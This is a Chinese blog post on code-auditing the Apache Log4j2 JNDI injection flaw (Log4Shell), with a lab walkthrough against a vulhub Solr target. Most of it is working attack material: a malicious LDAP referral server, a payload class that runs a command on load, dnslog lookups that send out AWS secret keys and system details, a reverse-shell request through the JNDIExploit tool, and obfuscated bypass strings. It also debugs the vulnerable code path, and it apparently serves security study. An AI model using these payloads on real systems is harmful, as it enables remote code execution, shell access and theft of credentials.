当前位置: 首页 > news >正文

Java代码审计15之Apache log4j2漏洞

文章目录

  • 1、log4j简介
  • 2、复现
      • 2.1、高版本测试
      • 2.2、测试代码
      • 2.3、补充之dns探测
        • 2.3.1、rmi、ldap也可以dnslog探测
      • 2.3.2、dnslog外带信息
  • 3、漏洞原理
      • 3.1、漏洞的危害大的背景
      • 3.2、具体的代码调试
  • 4、靶场测试
      • 4.1、dns探测
      • 4.2、工具下载与使用
      • 4.3、测试
      • 4.4、手工可以测出,部分扫描器扫不到
  • 5、bypass

1、log4j简介

Apache Log4j2是⼀个基于Java的⽇志记录⼯具。该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。因为log4j是一个偏底层的组件,所以许多的服务都受到了影响,这个漏洞在刚公布的时候,也是引发了相当的轰动,

2、复现

2.1、高版本测试

先说结论,ldap协议,

使用1.8_65和1.8_151都可以直接触发,也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性但是1.8_202还是j了,即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求

rmi协议

1.8_65		直接触发1.8_151		需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性1.8_202		J

还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”

这个“exp”区分大小写,要与rmi恶意服务提供的保持一致

在这里插入图片描述

2.2、测试代码

先引入组件,

        <dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>

在这里插入图片描述
main.java


package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {private static  final Logger logger =LogManager.getLogger();public static void main(String[] args) throws Exception {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");//ldap://127.0.0.1:7777/Explogger.error("${jndi:ldap://127.0.0.1:7777/Exp}");}}
这个ldap和恶意类还使用上一节提到的,ldap_Hack_server.java
package com.example.demo2;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResultresult ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

jndiexp.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2;        增加会出错public class jndiexp implements ObjectFactory {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

2.3、补充之dns探测

2.3.1、rmi、ldap也可以dnslog探测

在使用dnslog探测漏洞的时候,

其实不仅仅dns协议可以,ldap和rmi协议也可以,

在这里插入图片描述
类似的rmi,

这里要注意下面,所以rmi协议相比较逊一些,

${jndi:rmi://rmi3.b5ar6g.dnslog.cn		这个后边必须跟一些东西,比如${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx

在这里插入图片描述

但是不是太建议大家使用ldap和rmi毕竟有各种限制,还是直接使用dnslog比较方便

2.3.2、dnslog外带信息

另一个是dns、rmi、ldap都可以在探测dnslog的时候,外带一些系统的信息,

在这里插入图片描述
类似的有以下,各位有空可以试试,笔者未作测试,

这些都是log4j组件中的一个特殊占位符

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

3、漏洞原理

3.1、漏洞的危害大的背景

在log4j刚出来的时候,危害相当大,我们先说下log4j正常的使用背景,其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 最简单的日志打印 我们看如下登录场景:

在这里插入图片描述

咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){String name = "test";  //表单接收name字段logger.info("{},登录了", name); //logger为log4j
}
很简单,用户如果登陆了,我们通过表单接收到相关name字段,然后在日志中记录上这么一条记录。这个看起来是很常规的操作了,记录日志为什么会导致漏洞呢?这主要就是lookup支持打印系统变量且name变量是用户输入的,用户输入什么都可以,

假设输入如下,
在这里插入图片描述
上述代码会输出,

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

为什么会产生这种奇怪的现象呢?

是因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,
在这里插入图片描述

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。其实这就是jndi注入了,之前我们说过,jndi注入可以利用rmi、ldap协议实现rce

3.2、具体的代码调试

进来先关注,这个log4j的版本,

有的maven会导入多个版本,在测试的时候,进入别的版本
在这里插入图片描述

然后每个函数可能会传递很多的参数,其实我们不用管别的,这里盯紧我们可控的参数即message然后,继续向下跟,都是很短的函数,没有if..else..这种条件结构直接向下走就行,这个小技巧就是,直接ctrl进到方法的实现,然后大个断点,然后直接“步过”到断点一个方法,一个断点,一个“步过”直到走到1641行,按照我们的估算,下一次是同页面的1572行,但是当1572行打了断点,“步过”的时候直接访问dnslog/弹窗了这就说明在1641行不能在“步过”了,需要“步入”

在这里插入图片描述

重新来,断点就留到1641,直接debug到这,然后“步入”到87行的log方法,但是这里有一个新的问题是,遇到if..else..怎么知道进的是哪个,不知道就都打上断点,再次“步过”

在这里插入图片描述

经过测试是进入if,但是这个log方法直接跟进去是一个定义的接口,所以也不能直接“步过”,继续“步入”,到了27行,

在这里插入图片描述

继续跟到这种结构,即if..else..下面还有代码,这里的重点不是进的 if还是else,重点是最终的漏洞是否在if..else..结构内触发,假设没有在if..else..语句内触发,那么其实这个if..else...的代码可以忽略,所以这种,我们直接在下面打断点,看看有没有触发,假设触发了,我们在重新来一遍定位是if还是else,并继续向下假设没有触发,我们就直接忽略

在这里插入图片描述

继续可以跟到这个107行,记录下

在这里插入图片描述

再向下就到这了,这个循环该到第八次的时候即i=8时,在步过就是9次的时候,直接步入,因为i=8的时候在步过就会直接弹窗,即漏洞是在第8次触发的

在这里插入图片描述

然后跟到这个MessagePatternConverter.class文件,
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。

在这里插入图片描述

然后这个地方是调试的一个重点,StrSubstitutor.class文件有多个while循环的这个地方触发的,但是正常跟进需要循环很多次,相当简单的是可以手动修改一些变量的值,这个值可能还是会绕一会,想绕的可以自己找找具体是在哪触发的,不想的可以看下下面的,

在这里插入图片描述

直接将断点打到该文件的418行,然后“步过”到418行,在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

在这里插入图片描述

到这,log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数,进行正常的lookup查询之前我们说过当lookup函数可控时就会造成rce,所以看到lookup函数且参数可控,一定要警惕,

在这里插入图片描述

继续,在这个地方,通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容(即152行代码)传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类(156行)

在这里插入图片描述

继续,

在这里插入图片描述

继续,笔者到这一步,继续步入就直接弹窗了,到这,其实还是log4j组件内,即下面应该跳到jdk底层代码的lookup函数,然后去加载我们的恶意类,但是不知道为什么无法跟进去,先到这把

在这里插入图片描述

调试参考:https://www.anquanke.com/post/id/262668

4、靶场测试

4.1、dns探测

使用vulhub搭建一个靶场,直接poc搞一下dns,
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在这里插入图片描述

正常情况下,这种地方一般都是burp的插件或者xray或者其他扫描器扫到,

4.2、工具下载与使用

然后就是利用,下载利用工具,https://github.com/WhiteHSBG/JNDIExploitkali起来环境,
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x注意这个IP不要写0.0.0.0;否则会攻击失败

在这里插入图片描述

-u可以查看payload,根据不同的框架选择即可,这个地方也可以加上-i IP这样出来的payload就不是0.0.0.0而是可以直接利用的了

在这里插入图片描述

具体的使用可以看下,工具地址有说明,

在这里插入图片描述

4.3、测试

由上面我们直接测试,一开始使用一些有回显的测试,都没有回显,

在这里插入图片描述

然后换直接反弹shell的,kali起监听,直接拿到shell,

在这里插入图片描述

详细请求数据包,
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4.4、手工可以测出,部分扫描器扫不到

其实根据以上的原理,就可以看到,漏洞的触发是需要有打印log这个需求,但是不是所有的url的所有参数(包含header头参数)都会被打印,即漏洞的触发点可能只会是在部分uri的部分参数(包含header头参数)

回到问题,为什么有的扫描器扫不到,

着看扫描器实现的原理,假设扫描器是直接拼接了用户给的url,比如根目录

但是根目录没有漏洞的触发点的话,扫不到很正常,

所以想让扫描器覆盖到,笔者想到的就是配合爬虫,将爬虫爬到每个uri都过一遍

5、bypass

一些流传的bypass姿势,

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

相关文章:

Java代码审计15之Apache log4j2漏洞

文章目录 1、log4j简介2、复现2.1、高版本测试2.2、测试代码2.3、补充之dns探测2.3.1、rmi、ldap也可以dnslog探测 2.3.2、dnslog外带信息 3、漏洞原理3.1、漏洞的危害大的背景3.2、具体的代码调试 4、靶场测试4.1、dns探测4.2、工具下载与使用4.3、测试4.4、手工可以测出&…...

c语言每日一练(13)

前言&#xff1a;每日一练系列&#xff0c;每一期都包含5道选择题&#xff0c;2道编程题&#xff0c;博主会尽可能详细地进行讲解&#xff0c;令初学者也能听的清晰。每日一练系列会持续更新&#xff0c;上学期间将看学业情况更新。 五道选择题&#xff1a; 1、程序运行的结果…...

H5 + C3基础(六)(2D转换transform 位移 旋转 缩放)

2D转换transform & 2D转换transform平移利用平移百分比优化盒子水平垂直居中 旋转指定2d变换的中心点 transform-origin 缩放2d转换简写 2D转换transform 所谓2D转换&#xff0c;就是在二维坐标系内进行各种操作&#xff0c;包括平移&#xff0c;转动&#xff0c;缩放等等…...

2023最新 Electron.js 桌面应用开发教程(基础篇)更新中

Electron是什么&#xff1f; Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建 在Windows上运行的跨平台应用 macOS和Linux Electron Fiddle 运行实例 Ele…...

【ES】笔记-Set集合实践

JS <script>let arr[1,2,3,4,5,4,3,2,1];//1.数组去重let result0[...new Set(arr)];console.log(数组去重${result0});//2.交集let arr2[4,5,6,5,6];let result[...new Set(arr)].filter(item>{let s2new Set(arr2);//4 5 6if(s2.has(item)){return true;}else{retur…...

缺陷或负样本难以收集怎么办?使用生成式模型自动生成训练样本,image-to-image Stable diffusion

文章大纲 样本稀疏与对应的解决方案如何解决工业缺陷检测小样本问题参考1:AIDG(Artificial Intelligent Defect Generator)参考2:灵感来源 : Image-to-Image Diffusion Models参考文献与学习路径参考博文数据集算法缺陷检测库hugging face样本稀疏与对应的解决方案 1.数据层面…...

ZMTP协议

ZoreMQ Transport Protocol是一个传输层协议&#xff0c;用于ZMQ的连接的信息交互&#xff0c;本文档描述的是3.0协议&#xff0c;主要分析基于NULL Security Mechanism 协议语法 ZMTP由三部分组成&#xff0c;分别是 greeting、handshake、traffic 部分描述构成greeting描述…...

ubuntu18安装中文环境

1. 安装中文语言包 首先&#xff0c;我们需要安装中文语言包。打开终端&#xff0c;输入以下命令&#xff1a; sudo apt-get install language-pack-zh-hans 这个命令会下载并安装中文语言包。安装完成后&#xff0c;我们需要重新启动系统(reboot)。 2. 安装中文输入法 安…...

怎么提取视频中的音乐保存到本地?其实方法很简单

当你想要使用视频中的音乐时&#xff0c;你可以考虑将它从视频中提取出来。这可以用于制作音频样本集&#xff0c;制作铃声或其他音频素材&#xff0c;或者向其他人展示视频的音乐部分而无需显示视频本身。如果你是一位音乐制作人员&#xff0c;你可能会需要一些特定类型的音效…...

线性代数的学习和整理18:矩阵的秩的各种定理, 秩和维度(未完成)

目录 1 矩阵的秩 矩阵的秩 2 求秩的方法 矩阵的维度秩 矩阵的维度 向量的模&#xff0c;矩阵的模-没有把&#xff0c;难道是面积&#xff1f; 矩阵的平直概念 5 矩阵的初等变换&#xff08;矩阵等价概念的引出&#xff09; 1 为什么要引入矩阵的“秩” 这个概念&#x…...

UVa11374 Airport Express(Dijkstra)

题意 给出经济路线以及商业路线&#xff0c;在给出起始点s&#xff0c;终止点e&#xff0c;在只能使用其中一个商业路线 的情况下输出最短路径 思路 如果选择商业路线为从u到v&#xff0c;则需要从s->u,u->v&#xff0c;v->e点的路径最短。使用Dijkstra计算出从s点…...

hadoop的hdfs中避免因节点掉线产生网络风暴

hadoop的hdfs中避免因节点掉线产生网络风暴 控制节点掉线RPC风暴的参数 三个参数都是hdfs-site.xml中参数&#xff0c;具体可以参考apache hadoop官网&#xff0c;其实块的复制速度有两个方面决定&#xff0c;一是namenode分发任务的速度&#xff0c;二则是datanode之间进行复…...

2023年高教社杯 国赛数学建模思路 - 案例:最短时间生产计划安排

文章目录 0 赛题思路1 模型描述2 实例2.1 问题描述2.2 数学模型2.2.1 模型流程2.2.2 符号约定2.2.3 求解模型 2.3 相关代码2.4 模型求解结果 建模资料 0 赛题思路 &#xff08;赛题出来以后第一时间在CSDN分享&#xff09; https://blog.csdn.net/dc_sinor?typeblog 最短时…...

Spring MVC介绍

MVC模式是什么 MVC 模式&#xff0c;全称为 Model-View-Controller&#xff08;模型-视图-控制器&#xff09;模式&#xff0c;它是一种软件架构模式&#xff0c;其目标是将软件的用户界面&#xff08;即前台页面&#xff09;和业务逻辑分离&#xff0c;使代码具有更高的可扩展…...

5年测试在职经验之谈:2年功能测试、3年自动化测试,从入门到不可自拔...

毕业3年了&#xff0c;学的是环境工程专业&#xff0c;毕业后零基础转行做软件测试。 已近从事测试行业8年了&#xff0c;自己也从事过2年的手工测试&#xff0c;从事期间越来越觉得如果一直在手工测试的道路上前进&#xff0c;并不会有很大的发展&#xff0c;所以通过自己的努…...

【Python数据分析】数据分析之numpy基础

实验环境&#xff1a;建立在Python3的基础之上 numpy提供了一种数据类型&#xff0c;提供了数据分析的运算基础&#xff0c;安装方式 pip install numpy导入numpy到python项目 import numpy as np本文以案例的方式展示numpy的基本语法&#xff0c;没有介绍语法的细枝末节&am…...

Swift 如何从图片数据(Data)检测原图片类型?

功能需求 如果我们之前把图片对应的数据(Data)保持在内存或数据库中,那么怎么从 Data 对象检测出原来图片的类型呢? 如上图所示:我们将 11 张不同类型的图片转换为 Data 数据,然后从 Data 对象正确检测出了原图片类型。 目前,我们的代码可以检测出 jpeg(jpg), tiff,…...

【ES6】 JavaScript 中的Object.assign

Object.assign() 是 JavaScript 中的一个方法&#xff0c;它用于复制源对象的所有可枚举属性到目标对象。该方法会返回目标对象。 这是其基本用法&#xff1a; let target Object.assign({}, source);在这个例子中&#xff0c;source 对象的所有可枚举属性都被复制到了 targ…...

Redis缓存和持久化

目录 Redis缓存 什么是缓存 缓存更新策略​编辑 业务场景 缓存穿透 常见的解决方案 缓存雪崩 解决方案 缓存击穿 解决方案 Redis持久化 RDB持久化 执行时机 RDB方式bgsave的基本流程 AOF持久化 RDB和AOF的对比​编辑 Redis主从 数据同步原理 总结 Redis缓存 …...

OpenCV(六):多通道分离与合并

目录 1.多通道分离split() 2.多通道合并merge() 3.Android JNI demo 1.多通道分离split() void cv::split ( InputArray m, OutputArrayOfArrays mv &#xff09; m:待分离的多通道图像。 mv:分离后的单通道图像&#xff0c;为向量vector形式。 2.多通道合并merge…...

Python实现prophet 理论及参数优化

文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候&#xff0c;写过一篇简单实现&#xff0c;后期随着对该模型的深入研究&#xff0c;本次记录涉及到prophet 的公式以及参数调优&#xff0c;从公式可以更直观…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

多模态大语言模型arxiv论文略读(108)

CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题&#xff1a;CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者&#xff1a;Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

#Uniapp篇:chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器&#xff1a;Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

快刀集(1): 一刀斩断视频片头广告

一刀流&#xff1a;用一个简单脚本&#xff0c;秒杀视频片头广告&#xff0c;还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农&#xff0c;平时写代码之余看看电影、补补片&#xff0c;是再正常不过的事。 电影嘛&#xff0c;要沉浸&#xff0c;…...

Git 3天2K星标:Datawhale 的 Happy-LLM 项目介绍(附教程)

引言 在人工智能飞速发展的今天&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;已成为技术领域的焦点。从智能写作到代码生成&#xff0c;LLM 的应用场景不断扩展&#xff0c;深刻改变了我们的工作和生活方式。然而&#xff0c;理解这些模型的内部…...

jmeter聚合报告中参数详解

sample、average、min、max、90%line、95%line,99%line、Error错误率、吞吐量Thoughput、KB/sec每秒传输的数据量 sample&#xff08;样本数&#xff09; 表示测试中发送的请求数量&#xff0c;即测试执行了多少次请求。 单位&#xff0c;以个或者次数表示。 示例&#xff1a;…...

tauri项目,如何在rust端读取电脑环境变量

如果想在前端通过调用来获取环境变量的值&#xff0c;可以通过标准的依赖&#xff1a; std::env::var(name).ok() 想在前端通过调用来获取&#xff0c;可以写一个command函数&#xff1a; #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

Ubuntu系统复制(U盘-电脑硬盘)

所需环境 电脑自带硬盘&#xff1a;1块 (1T) U盘1&#xff1a;Ubuntu系统引导盘&#xff08;用于“U盘2”复制到“电脑自带硬盘”&#xff09; U盘2&#xff1a;Ubuntu系统盘&#xff08;1T&#xff0c;用于被复制&#xff09; &#xff01;&#xff01;&#xff01;建议“电脑…...